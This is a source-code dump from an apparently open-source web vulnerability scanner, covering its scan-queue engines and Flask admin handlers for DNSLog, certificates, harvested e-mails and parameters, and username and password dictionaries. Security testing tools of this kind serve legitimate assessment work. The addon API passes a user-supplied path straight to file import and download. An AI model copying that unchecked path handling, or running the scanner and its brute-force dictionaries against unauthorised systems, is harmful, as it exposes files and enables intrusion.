| } 92 | await self.push_data_to_mq(message, routing_key) 93 | 94 | 95 | async def push_data_to_mq(self, data, routing_key=None): 96 | """推送至扫描队列""" 97 | 98 | if routing_key and not routing_key.startswith(rabbitmq.pre_name): 99 | routing_key = f'{rabbitmq.pre_name}_{routing_key}' 100 | else: 101 | routing_key = rabbitmq.default_routing_key 102 | 103 | flow_hash = data['flow_hash'] 104 | try: 105 | message = json.dumps(data).encode("utf-8") 106 | await rabbitmq.publish(message, routing_key=routing_key) 107 | log.info(f"Push packet to mq, flow_hash: {flow_hash}, routing_key: {routing_key}") 108 | except: 109 | log.error(f"Error push packet to flow_hash, hash: {flow_hash}, routing_key: {routing_key}") -------------------------------------------------------------------------------- /lib/engine/master/simplemaster.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import traceback 6 | from lib.core.env import * 7 | import asyncio 8 | from mitmproxy.addons import asgiapp 9 | from lib.engine.master import BaseMaster 10 | from lib.core.asyncpool import PoolCollector 11 | from lib.core.g import conf 12 | from lib.core.g import log 13 | from lib.core.g import task_queue 14 | from lib.hander import app 15 | from lib.core.enums import EngineType 16 | 17 | class SimpleMaster(BaseMaster): 18 | """ 19 | Simple Master为测试模块 20 | """ 21 | 22 | def __init__(self): 23 | super().__init__() 24 | 25 | # Engine 属性 26 | self.engine_type = EngineType.SIMPLE_MASTER 27 | self.id = f'{HOSTNAME}_{self.engine_type}' 28 | 29 | # 属性初始化 30 | self.num_workers = 500 31 | self.addon_list = [] 32 | if conf.scan.test: 33 | self.addon_top_path_list = [TEST_ADDON_PATH] 34 | else: 35 | self.addon_top_path_list = [AGENT_ADDON_PATH, COMMON_ADDON_PATH] 36 | 37 | # 加载配置 38 | self.options.listen_host = conf.simple.listen_host 39 | self.options.listen_port = conf.simple.listen_port 40 | 41 | # 加载测试配置 42 | self.addons.add(asgiapp.WSGIApp(app, conf.basic.listen_domain, 80)) 43 | 44 | 45 | def hook(self): 46 | """运行相关伴随线程""" 47 | 48 | # dnslog 49 | asyncio.ensure_future(self.init_dnslog()) 50 | 51 | # 启动心跳 52 | asyncio.ensure_future(self.heartbeat()) 53 | 54 | # 数据处理 55 | asyncio.ensure_future(self.data_center()) 56 | 57 | # 缓存处理 58 | asyncio.ensure_future(self.cache_center()) 59 | 60 | # 任务处理 61 | asyncio.ensure_future(self.task_center()) 62 | 63 | 64 | 65 | def print_status(self): 66 | """打印状态""" 67 | 68 | self.remaining = task_queue.qsize() 69 | self.queue_num = self.get_data_queue_size() 70 | log.info(f"Remaining: {self.remaining}, Scanning: {self.scanning}, Queue: {self.queue_num}, Max: {self.scan_max_task_num}") 71 | 72 | 73 | async def task_center(self): 74 | async with PoolCollector.create(num_workers=self.num_workers) as manager: 75 | asyncio.ensure_future(self.submit_task(manager)) 76 | async for result in manager.iter(): 77 | pass 78 | 79 | async def submit_task(self, manager: PoolCollector): 80 | """提交任务到扫描模块""" 81 | log.info("Starting submit task... ") 82 | try: 83 | while True: 84 | await asyncio.sleep(0.1) 85 | self.scanning = manager.scanning_task_count + manager.remain_task_count 86 | if not task_queue.empty() and self.scanning < self.scan_max_task_num: 87 | self.queue_num = self.get_data_queue_size() 88 | if self.queue_num < self.max_data_queue_num: 89 | flow_hash, flow, addon = await task_queue.get() 90 | await manager.submit(self.do_scan, flow_hash, flow, addon) 91 | else: 92 | await asyncio.sleep(0.1) 93 | else: 94 | await asyncio.sleep(0.1) 95 | except Exception as e: 96 | msg = str(e) 97 | log.error(f"Error submit_task, error: {msg}") 98 | finally: 99 | await manager.shutdown() 100 | 101 | async def do_scan(self, flow_hash, flow, addon): 102 | """扫描函数""" 103 | 104 | try: 105 | if addon.is_scan_response(flow): 106 | log.info(f"Start scan, hash: {flow_hash}, addon: {addon.name}") 107 | res = await addon.prove(flow) 108 | log.info(f"Final scan, hash: {flow_hash}, addon: {addon.name}") 109 | else: 110 | log.info(f"Skip scan, hash: {flow_hash}, addon: {addon.name}") 111 | except (ConnectionResetError, ConnectionAbortedError, TimeoutError, asyncio.TimeoutError): 112 | pass 113 | except (asyncio.CancelledError, ConnectionRefusedError, OSError): 114 | pass 115 | except Exception: 116 | msg = str(traceback.format_exc()) 117 | log.error(f"Error scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}") -------------------------------------------------------------------------------- /lib/engine/master/supportmaster.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from lib.engine.master import BaseMaster 7 | from lib.core.g import conf 8 | from lib.core.enums import EngineType 9 | 10 | class SupportMaster(BaseMaster): 11 | """ 12 | Support Master为辅助监听模块 13 | """ 14 | 15 | def __init__(self): 16 | super().__init__() 17 | 18 | # Engine 属性 19 | self.engine_type = EngineType.SUPPORT_MASTER 20 | self.id = f'{HOSTNAME}_{self.engine_type}' 21 | 22 | # 属性初始化 23 | self.addon_list = [] 24 | self.addon_top_path_list = [SUPPORT_ADDON_PATH, COMMON_ADDON_PATH] 25 | 26 | # 加载配置 27 | self.options.listen_host = conf.support.listen_host 28 | self.options.listen_port = conf.support.listen_port -------------------------------------------------------------------------------- /lib/hander/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from flask import Flask 7 | from flask_sqlalchemy import SQLAlchemy 8 | from lib.core.g import conf 9 | from lib.core.g import mysql 10 | 11 | app = Flask(PROJECT_NAME, template_folder=TEMPLATE_PATH, static_folder=STATIC_PATH, static_url_path=f"{PREFIX_URL}/{STATIC}") 12 | app.config["DEBUG"] = conf.basic.debug 13 | app.config['SECRET_KEY'] = conf.basic.secret_key 14 | app.config['SQLALCHEMY_DATABASE_URI'] = mysql.get_sync_sqlalchemy_database_url() 15 | app.config['SQLALCHEMY_ECHO'] = False 16 | app.config['SQLALCHEMY_POOL_SIZE'] = 100 17 | app.config['SQLALCHEMY_MAX_OVERFLOW'] = 20 18 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True 19 | app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True 20 | db = SQLAlchemy(app) 21 | 22 | 23 | from lib.hander import basehander 24 | app.register_blueprint(basehander.mod) 25 | 26 | from lib.hander import indexhander 27 | app.register_blueprint(indexhander.mod) 28 | 29 | from lib.hander.manager import certhander 30 | app.register_blueprint(certhander.mod) 31 | 32 | from lib.hander.manager import vulhander 33 | app.register_blueprint(vulhander.mod) 34 | 35 | from lib.hander.manager.cache import packethander 36 | app.register_blueprint(packethander.mod) 37 | 38 | from lib.hander.manager.cache import cachehander 39 | app.register_blueprint(cachehander.mod) 40 | 41 | from lib.hander.manager.cache import dnsloghander 42 | app.register_blueprint(dnsloghander.mod) 43 | 44 | from lib.hander.manager.collect import pathhander 45 | app.register_blueprint(pathhander.mod) 46 | 47 | from lib.hander.manager.collect import paramhander 48 | app.register_blueprint(paramhander.mod) 49 | 50 | from lib.hander.manager.collect import emailhander 51 | app.register_blueprint(emailhander.mod) 52 | 53 | from lib.hander.manager.collect import corshander 54 | app.register_blueprint(corshander.mod) 55 | 56 | from lib.hander.manager.collect import jsonphander 57 | app.register_blueprint(jsonphander.mod) 58 | 59 | from lib.hander.manager.setting import usernamehander 60 | app.register_blueprint(usernamehander.mod) 61 | 62 | from lib.hander.manager.setting import passwordhander 63 | app.register_blueprint(passwordhander.mod) 64 | 65 | from lib.hander.manager.setting import whitehander 66 | app.register_blueprint(whitehander.mod) 67 | 68 | from lib.hander.manager.setting import blackhander 69 | app.register_blueprint(blackhander.mod) 70 | 71 | from lib.hander.manager.setting import timehander 72 | app.register_blueprint(timehander.mod) 73 | 74 | from lib.hander.manager.setting import filterhander 75 | app.register_blueprint(filterhander.mod) 76 | 77 | from lib.hander.manager.system import enginehander 78 | app.register_blueprint(enginehander.mod) 79 | 80 | from lib.hander.manager.system import addonhander 81 | app.register_blueprint(addonhander.mod) 82 | 83 | from lib.hander.manager.system import userhander 84 | app.register_blueprint(userhander.mod) 85 | 86 | from lib.hander.manager.system import loghander 87 | app.register_blueprint(loghander.mod) 88 | 89 | from lib.hander.api import addonhander 90 | app.register_blueprint(addonhander.mod) -------------------------------------------------------------------------------- /lib/hander/api/addonhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import Blueprint 7 | from flask import send_file 8 | from lib.core.env import * 9 | from lib.core.enums import ApiStatus 10 | from lib.util.addonutil import import_addon_file 11 | from lib.hander.basehander import fix_response 12 | from lib.hander.basehander import login_check 13 | 14 | mod = Blueprint('api_addon', __name__, url_prefix=f"{PREFIX_URL}/api/addon") 15 | 16 | @mod.route('/list', methods=['POST', 'GET']) 17 | @login_check 18 | @fix_response 19 | def list(): 20 | """获取addon信息""" 21 | response = { 22 | 'data': { 23 | 'res': [], 24 | } 25 | } 26 | addon_path = request.json.get('addon_path', '') 27 | if addon_path != '': 28 | addons = import_addon_file(addon_path) 29 | else: 30 | addons = import_addon_file(os.path.join(ADDON_PATH)) 31 | 32 | for i in range(0, len(addons)): 33 | response['data']['res'].append(addons[i].info()) 34 | response['data']['total'] = len(addons) 35 | return response 36 | 37 | @mod.route('/async', methods=['POST', 'GET']) 38 | @login_check 39 | def sync(): 40 | """获取addon文件""" 41 | addon_path = request.json.get('addon_path', '') 42 | addons = import_addon_file(addon_path) 43 | 44 | if len(addons) == 1: 45 | path = os.path.join(ROOT_PATH, addons[0].info()["addon_path"]) 46 | return send_file(path, mimetype='application/octet-stream', attachment_filename=addons[0].info()["addon_file_name"], as_attachment=True) 47 | return ApiStatus.ERROR_INVALID_INPUT_ADDON_NAME -------------------------------------------------------------------------------- /lib/hander/manager/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/cache/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/lib/hander/manager/cache/__init__.py -------------------------------------------------------------------------------- /lib/hander/manager/cache/dnsloghander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | 6 | from flask import request 7 | from flask import render_template 8 | from flask import Blueprint 9 | from flask import session 10 | from sqlalchemy import and_ 11 | from lib.core.enums import ApiStatus 12 | from lib.hander import db 13 | from lib.core.env import * 14 | from lib.core.model import DNSLog 15 | from lib.hander.basehander import fix_response 16 | from lib.hander.basehander import login_check 17 | from lib.util.util import get_timestamp 18 | from lib.util.util import get_time 19 | 20 | mod = Blueprint('dnslog', __name__, url_prefix=f"{PREFIX_URL}/manger/dnslog") 21 | 22 | @mod.route('/index', methods=['POST', 'GET']) 23 | @login_check 24 | def index(): 25 | ctx = {} 26 | ctx['title'] = 'DNSLog' 27 | ctx['role'] = session.get('role') 28 | ctx['username'] = session.get('username') 29 | return render_template('manager/cache/dnslog.html', **ctx) 30 | 31 | @mod.route('/list', methods=['POST', 'GET']) 32 | @login_check 33 | @fix_response 34 | def list(): 35 | response = { 36 | 'data': { 37 | 'res': [], 38 | 'total': 0, 39 | } 40 | } 41 | page = request.json.get('page', 1) 42 | per_page = request.json.get('per_page', 10) 43 | keyword = request.json.get('keyword', '') 44 | ip = request.json.get('ip', '') 45 | condition = (1 == 1) 46 | if keyword != '': 47 | condition = and_(condition, DNSLog.keyword.like('%' + keyword + '%')) 48 | 49 | if ip != '': 50 | condition = and_(condition, DNSLog.ip.like('%' + ip + '%')) 51 | 52 | if per_page == 'all': 53 | for row in db.session.query(DNSLog).filter(condition).all(): 54 | response['data']['res'].append(row.to_json()) 55 | else: 56 | for row in db.session.query(DNSLog).filter(condition).order_by(DNSLog.update_time.desc()).paginate(page=page, per_page=per_page).items: 57 | response['data']['res'].append(row.to_json()) 58 | response['data']['total'] = db.session.query(DNSLog).filter(condition).count() 59 | return response 60 | 61 | 62 | 63 | @mod.route('/delete', methods=['POST', 'GET']) 64 | @login_check 65 | @fix_response 66 | def delete(): 67 | response = {'data': {'res': []}} 68 | id = request.json.get('id', '') 69 | ids = request.json.get('ids', '') 70 | if id != '' or ids != '': 71 | if id != '': 72 | packet = db.session.query(DNSLog).filter(DNSLog.id == id).first() 73 | if packet: 74 | db.session.delete(packet) 75 | db.session.commit() 76 | response['data']['res'].append(id) 77 | if ids != '': 78 | try: 79 | for id in ids.split(','): 80 | id = id.replace(' ', '') 81 | packet = db.session.query(DNSLog).filter(DNSLog.id == id).first() 82 | if packet: 83 | db.session.delete(packet) 84 | db.session.commit() 85 | response['data']['res'].append(id) 86 | except: 87 | pass 88 | return response 89 | return ApiStatus.ERROR_IS_NOT_EXIST 90 | 91 | @mod.route('/clear_all', methods=['POST', 'GET']) 92 | @login_check 93 | @fix_response 94 | def clear_all(): 95 | response = {'data': {'res': []}} 96 | condition = (1 == 1) 97 | db.session.query(DNSLog).filter(condition).delete(synchronize_session=False) 98 | return response 99 | 100 | @mod.route('/clear_3day_old', methods=['POST', 'GET']) 101 | @login_check 102 | @fix_response 103 | def clear_3day_old(): 104 | response = {'data': {'res': []}} 105 | delete_time = get_time(get_timestamp() - 60 * 60 * 24 * 3) 106 | condition = (1 == 1) 107 | condition = and_(condition, DNSLog.update_time <= delete_time) 108 | db.session.query(DNSLog).filter(condition).delete(synchronize_session=False) 109 | return response -------------------------------------------------------------------------------- /lib/hander/manager/certhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import render_template 6 | from flask import Blueprint 7 | from flask import session 8 | from mitmproxy.options import CONF_BASENAME 9 | from mitmproxy.options import CONF_DIR 10 | from lib.core.env import * 11 | 12 | mod = Blueprint('cert', __name__, url_prefix=f"{PREFIX_URL}/cert") 13 | 14 | @mod.route('/index') 15 | def index(): 16 | ctx = {} 17 | ctx['title'] = 'Cert' 18 | ctx['role'] = session.get('role') 19 | ctx['username'] = session.get('username') 20 | return render_template('manager/cert.html', **ctx) 21 | 22 | 23 | @mod.route('/pem') 24 | def pem(): 25 | return read_cert("pem", "application/x-x509-ca-cert") 26 | 27 | 28 | @mod.route('/p12') 29 | def p12(): 30 | return read_cert("p12", "application/x-pkcs12") 31 | 32 | 33 | @mod.route('/cer') 34 | def cer(): 35 | return read_cert("cer", "application/x-x509-ca-cert") 36 | 37 | 38 | def read_cert(ext, content_type): 39 | filename = CONF_BASENAME + f"-ca-cert.{ext}" 40 | p = os.path.join(CONF_DIR, filename) 41 | p = os.path.expanduser(p) 42 | with open(p, "rb") as f: 43 | cert = f.read() 44 | 45 | return cert, { 46 | "Content-Type": content_type, 47 | "Content-Disposition": f"inline; filename={filename}", 48 | } 49 | -------------------------------------------------------------------------------- /lib/hander/manager/collect/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/collect/emailhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from flask import make_response 10 | from sqlalchemy import and_ 11 | from sqlalchemy import func 12 | from lib.hander import db 13 | from lib.core.env import * 14 | from lib.core.model import CollectEmail 15 | from lib.core.enums import ApiStatus 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import fix_response 18 | from lib.hander.basehander import login_check 19 | 20 | mod = Blueprint('email', __name__, url_prefix=f"{PREFIX_URL}/manger/email") 21 | 22 | @mod.route('/index', methods=['POST', 'GET']) 23 | @login_check 24 | def index(): 25 | ctx = {} 26 | ctx['title'] = 'Email' 27 | ctx['role'] = session.get('role') 28 | ctx['username'] = session.get('username') 29 | return render_template('manager/collect/email.html', **ctx) 30 | 31 | @mod.route('/list', methods=['POST', 'GET']) 32 | @login_check 33 | @fix_response 34 | def list(): 35 | response = { 36 | 'data': { 37 | 'res': [], 38 | 'total': 0, 39 | } 40 | } 41 | page = request.json.get('page', 1) 42 | per_page = request.json.get('per_page', 10) 43 | path = request.json.get('path', '') 44 | port = request.json.get('port', '') 45 | host = request.json.get('host', '') 46 | email = request.json.get('email', '') 47 | condition = (1 == 1) 48 | if host != '': 49 | condition = and_(condition, CollectEmail.host.like('%' + host + '%')) 50 | 51 | if port != '': 52 | condition = and_(condition, CollectEmail.port.like('%' + port + '%')) 53 | 54 | if email != '': 55 | condition = and_(condition, CollectEmail.email.like('%' + email + '%')) 56 | 57 | if path != '': 58 | condition = and_(condition, CollectEmail.path.like('%' + path + '%')) 59 | 60 | if per_page == 'all': 61 | for row in db.session.query(CollectEmail).filter(condition).all(): 62 | response['data']['res'].append(row.to_json()) 63 | else: 64 | for row in db.session.query(CollectEmail).filter(condition).paginate(page=page, per_page=per_page).items: 65 | response['data']['res'].append(row.to_json()) 66 | response['data']['total'] = db.session.query(CollectEmail).filter(condition).count() 67 | return response 68 | 69 | @mod.route('/export', methods=['POST', 'GET']) 70 | @login_check 71 | def export(): 72 | path = request.json.get('path', '') 73 | port = request.json.get('port', '') 74 | host = request.json.get('host', '') 75 | email = request.json.get('email', '') 76 | condition = (1 == 1) 77 | if host != '': 78 | condition = and_(condition, CollectEmail.host.like('%' + host + '%')) 79 | 80 | if port != '': 81 | condition = and_(condition, CollectEmail.port.like('%' + port + '%')) 82 | 83 | if email != '': 84 | condition = and_(condition, CollectEmail.email.like('%' + email + '%')) 85 | 86 | if path != '': 87 | condition = and_(condition, CollectEmail.path.like('%' + path + '%')) 88 | 89 | rows = db.session.query(CollectEmail).with_entities(CollectEmail.email, func.count(CollectEmail.email)).filter(condition).group_by(CollectEmail.email).order_by(func.count(CollectEmail.email).desc()).all() 90 | content = '\r\n'.join([row[0] for row in rows if row[0] != None]) 91 | filename = 'email_{time}.txt'.format(time=get_time()).replace(':', '-').replace(' ', '_') 92 | response = make_response(content) 93 | response.headers['Content-Disposition'] = "attachment; filename={}".format(filename) 94 | response.headers["Cache-Control"] = "no_store" 95 | return response 96 | 97 | @mod.route('/delete', methods=['POST', 'GET']) 98 | @login_check 99 | @fix_response 100 | def delete(): 101 | response = {'data': {'res': []}} 102 | email_id = request.json.get('id', '') 103 | email_ids = request.json.get('ids', '') 104 | if email_id != '' or email_ids != '': 105 | if email_id != '': 106 | email = db.session.query(CollectEmail).filter(CollectEmail.id == email_id).first() 107 | if email: 108 | db.session.delete(email) 109 | db.session.commit() 110 | response['data']['res'].append(email_id) 111 | elif email_ids != '': 112 | try: 113 | for email_id in email_ids.split(','): 114 | email_id = email_id.replace(' ', '') 115 | email = db.session.query(CollectEmail).filter(CollectEmail.id == email_id).first() 116 | if email: 117 | db.session.delete(email) 118 | db.session.commit() 119 | response['data']['res'].append(email_id) 120 | except: 121 | pass 122 | return response 123 | return ApiStatus.ERROR_IS_NOT_EXIST -------------------------------------------------------------------------------- /lib/hander/manager/collect/paramhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from flask import make_response 10 | from sqlalchemy import and_ 11 | from sqlalchemy import func 12 | from lib.hander import db 13 | from lib.core.env import * 14 | from lib.core.model import CollectParam 15 | from lib.core.enums import ApiStatus 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import fix_response 18 | from lib.hander.basehander import login_check 19 | 20 | mod = Blueprint('param', __name__, url_prefix=f"{PREFIX_URL}/manger/param") 21 | 22 | @mod.route('/index', methods=['POST', 'GET']) 23 | @login_check 24 | def index(): 25 | ctx = {} 26 | ctx['title'] = 'Param' 27 | ctx['role'] = session.get('role') 28 | ctx['username'] = session.get('username') 29 | return render_template('manager/collect/param.html', **ctx) 30 | 31 | @mod.route('/list', methods=['POST', 'GET']) 32 | @login_check 33 | @fix_response 34 | def list(): 35 | response = { 36 | 'data': { 37 | 'res': [], 38 | 'total': 0, 39 | } 40 | } 41 | page = request.json.get('page', 1) 42 | per_page = request.json.get('per_page', 10) 43 | param = request.json.get('param', '') 44 | host = request.json.get('host', '') 45 | port = request.json.get('port', '') 46 | condition = (1 == 1) 47 | if param != '': 48 | condition = and_(condition, CollectParam.param.like('%' + param + '%')) 49 | 50 | if host != '': 51 | condition = and_(condition, CollectParam.host.like('%' + host + '%')) 52 | 53 | if port != '': 54 | condition = and_(condition, CollectParam.port.like('%' + port + '%')) 55 | 56 | if per_page == 'all': 57 | for row in db.session.query(CollectParam).filter(condition).all(): 58 | response['data']['res'].append(row.to_json()) 59 | else: 60 | for row in db.session.query(CollectParam).filter(condition).paginate(page=page, per_page=per_page).items: 61 | response['data']['res'].append(row.to_json()) 62 | response['data']['total'] = db.session.query(CollectParam).filter(condition).count() 63 | return response 64 | 65 | @mod.route('/export', methods=['POST', 'GET']) 66 | @login_check 67 | def export(): 68 | param = request.json.get('param', '') 69 | host = request.json.get('host', '') 70 | port = request.json.get('port', '') 71 | condition = (1 == 1) 72 | if param != '': 73 | condition = and_(condition, CollectParam.param.like('%' + param + '%')) 74 | 75 | if host != '': 76 | condition = and_(condition, CollectParam.host.like('%' + host + '%')) 77 | 78 | if port != '': 79 | condition = and_(condition, CollectParam.port.like('%' + port + '%')) 80 | 81 | rows = db.session.query(CollectParam).with_entities(CollectParam.param, func.count(CollectParam.param)).filter(condition).group_by(CollectParam.param).order_by(func.count(CollectParam.param).desc()).all() 82 | content = '\r\n'.join([row[0] for row in rows if row[0] != None]) 83 | 84 | filename = 'param_{time}.txt'.format(time=get_time()).replace(':', '-').replace(' ', '_') 85 | response = make_response(content) 86 | response.headers['Content-Disposition'] = "attachment; filename={}".format(filename) 87 | response.headers["Cache-Control"] = "no_store" 88 | return response 89 | 90 | 91 | @mod.route('/delete', methods=['POST', 'GET']) 92 | @login_check 93 | @fix_response 94 | def delete(): 95 | response = {'data': {'res': []}} 96 | param_id = request.json.get('id', '') 97 | param_ids = request.json.get('ids', '') 98 | if param_id != '' or param_ids != '': 99 | if param_id != '': 100 | param = db.session.query(CollectParam).filter(CollectParam.id == param_id).first() 101 | if param: 102 | db.session.delete(param) 103 | db.session.commit() 104 | response['data']['res'].append(param_id) 105 | elif param_ids != '': 106 | try: 107 | for param_id in param_ids.split(','): 108 | param_id = param_id.replace(' ', '') 109 | param = db.session.query(CollectParam).filter(CollectParam.id == param_id).first() 110 | if param: 111 | db.session.delete(param) 112 | db.session.commit() 113 | response['data']['res'].append(param_id) 114 | except: 115 | pass 116 | return response 117 | return ApiStatus.ERROR_IS_NOT_EXIST 118 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/passwordhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from lib.hander import db 11 | from lib.core.env import * 12 | from lib.core.model import DictPassword 13 | from lib.core.enums import ApiStatus 14 | from lib.util.util import get_time 15 | from lib.core.g import conf 16 | from lib.hander.basehander import save_sql 17 | from lib.hander.basehander import fix_response 18 | from lib.hander.basehander import login_check 19 | 20 | mod = Blueprint('password', __name__, url_prefix=f"{PREFIX_URL}/manger/password") 21 | 22 | 23 | @mod.route('/index', methods=['POST', 'GET']) 24 | @login_check 25 | def index(): 26 | ctx = {} 27 | ctx['title'] = 'Username' 28 | ctx['role'] = session.get('role') 29 | ctx['username'] = session.get('username') 30 | return render_template('manager/setting/password.html', **ctx) 31 | 32 | 33 | @mod.route('/list', methods=['POST', 'GET']) 34 | @login_check 35 | @fix_response 36 | def list(): 37 | response = { 38 | 'data': { 39 | 'res': [], 40 | 'total': 0, 41 | } 42 | } 43 | page = request.json.get('page', 1) 44 | per_page = request.json.get('per_page', 10) 45 | value = request.json.get('value', '') 46 | condition = (1 == 1) 47 | 48 | if value != '': 49 | condition = and_(condition, DictPassword.value.like('%' + value + '%')) 50 | 51 | if per_page == 'all': 52 | for row in db.session.query(DictPassword).filter(condition).all(): 53 | response['data']['res'].append(row.to_json()) 54 | else: 55 | for row in db.session.query(DictPassword).filter(condition).paginate(page=page, per_page=per_page).items: 56 | response['data']['res'].append(row.to_json()) 57 | response['data']['total'] = db.session.query(DictPassword).filter(condition).count() 58 | return response 59 | 60 | 61 | @mod.route('/edit', methods=['POST', 'GET']) 62 | @login_check 63 | @fix_response 64 | def edit(): 65 | password_id = request.json.get('id', '') 66 | value = request.json.get('value', '') 67 | mark = request.json.get('mark', '') 68 | if password_id != '': 69 | password_id = int(password_id) 70 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first() 71 | if password: 72 | password.mark = mark 73 | password.value = value 74 | password.update_time = get_time() 75 | save_sql(password) 76 | conf.dict_password = db.session.query(DictPassword).all() 77 | return {'data': {'res': [password_id]}} 78 | return ApiStatus.ERROR_IS_NOT_EXIST 79 | 80 | 81 | @mod.route('/add', methods=['POST', 'GET']) 82 | @login_check 83 | @fix_response 84 | def add(): 85 | value = request.json.get('value', '') 86 | mark = request.json.get('mark', '') 87 | 88 | if value == '': 89 | return ApiStatus.ERROR_INVALID_INPUT 90 | 91 | update_time = get_time() 92 | password = DictPassword(value=value, mark=mark, update_time=update_time) 93 | save_sql(password) 94 | conf.dict_password = db.session.query(DictPassword).all() 95 | return {'data': {'res': [value]}} 96 | 97 | 98 | @mod.route('/delete', methods=['POST', 'GET']) 99 | @login_check 100 | @fix_response 101 | def delete(): 102 | response = {'data': {'res': []}} 103 | password_id = request.json.get('id', '') 104 | password_ids = request.json.get('ids', '') 105 | if password_id != '' or password_ids != '': 106 | if password_id != '': 107 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first() 108 | if password: 109 | db.session.delete(password) 110 | db.session.commit() 111 | response['data']['res'].append(password_id) 112 | elif password_ids != '': 113 | try: 114 | for password_id in password_ids.split(','): 115 | password_id = password_id.replace(' ', '') 116 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first() 117 | if password: 118 | db.session.delete(password) 119 | db.session.commit() 120 | response['data']['res'].append(password_id) 121 | except: 122 | pass 123 | conf.dict_password = db.session.query(DictPassword).all() 124 | return response 125 | return ApiStatus.ERROR_IS_NOT_EXIST 126 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/usernamehander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from lib.hander import db 11 | from lib.core.env import * 12 | from lib.core.model import DictUsername 13 | from lib.core.enums import ApiStatus 14 | from lib.util.util import get_time 15 | from lib.core.g import conf 16 | from lib.hander.basehander import save_sql 17 | from lib.hander.basehander import fix_response 18 | from lib.hander.basehander import login_check 19 | 20 | mod = Blueprint('username', __name__, url_prefix=f"{PREFIX_URL}/manger/username") 21 | 22 | 23 | @mod.route('/index', methods=['POST', 'GET']) 24 | @login_check 25 | def index(): 26 | ctx = {} 27 | ctx['title'] = 'Username' 28 | ctx['role'] = session.get('role') 29 | ctx['username'] = session.get('username') 30 | return render_template('manager/setting/username.html', **ctx) 31 | 32 | 33 | @mod.route('/list', methods=['POST', 'GET']) 34 | @login_check 35 | @fix_response 36 | def list(): 37 | response = { 38 | 'data': { 39 | 'res': [], 40 | 'total': 0, 41 | } 42 | } 43 | page = request.json.get('page', 1) 44 | per_page = request.json.get('per_page', 10) 45 | value = request.json.get('value', '') 46 | condition = (1 == 1) 47 | 48 | if value != '': 49 | condition = and_(condition, DictUsername.value.like('%' + value + '%')) 50 | 51 | if per_page == 'all': 52 | for row in db.session.query(DictUsername).filter(condition).all(): 53 | response['data']['res'].append(row.to_json()) 54 | else: 55 | for row in db.session.query(DictUsername).filter(condition).paginate(page=page, per_page=per_page).items: 56 | response['data']['res'].append(row.to_json()) 57 | response['data']['total'] = db.session.query(DictUsername).filter(condition).count() 58 | return response 59 | 60 | 61 | @mod.route('/edit', methods=['POST', 'GET']) 62 | @login_check 63 | @fix_response 64 | def edit(): 65 | username_id = request.json.get('id', '') 66 | value = request.json.get('value', '') 67 | mark = request.json.get('mark', '') 68 | if username_id != '': 69 | username_id = int(username_id) 70 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first() 71 | if username: 72 | username.mark = mark 73 | username.value = value 74 | username.update_time = get_time() 75 | save_sql(username) 76 | conf.dict_username = db.session.query(DictUsername).all() 77 | return {'data': {'res': [username_id]}} 78 | return ApiStatus.ERROR_IS_NOT_EXIST 79 | 80 | 81 | @mod.route('/add', methods=['POST', 'GET']) 82 | @login_check 83 | @fix_response 84 | def add(): 85 | value = request.json.get('value', '') 86 | mark = request.json.get('mark', '') 87 | 88 | if value == '': 89 | return ApiStatus.ERROR_INVALID_INPUT 90 | 91 | update_time = get_time() 92 | username = DictUsername(value=value, mark=mark, update_time=update_time) 93 | save_sql(username) 94 | conf.dict_username = db.session.query(DictUsername).all() 95 | return {'data': {'res': [value]}} 96 | 97 | 98 | @mod.route('/delete', methods=['POST', 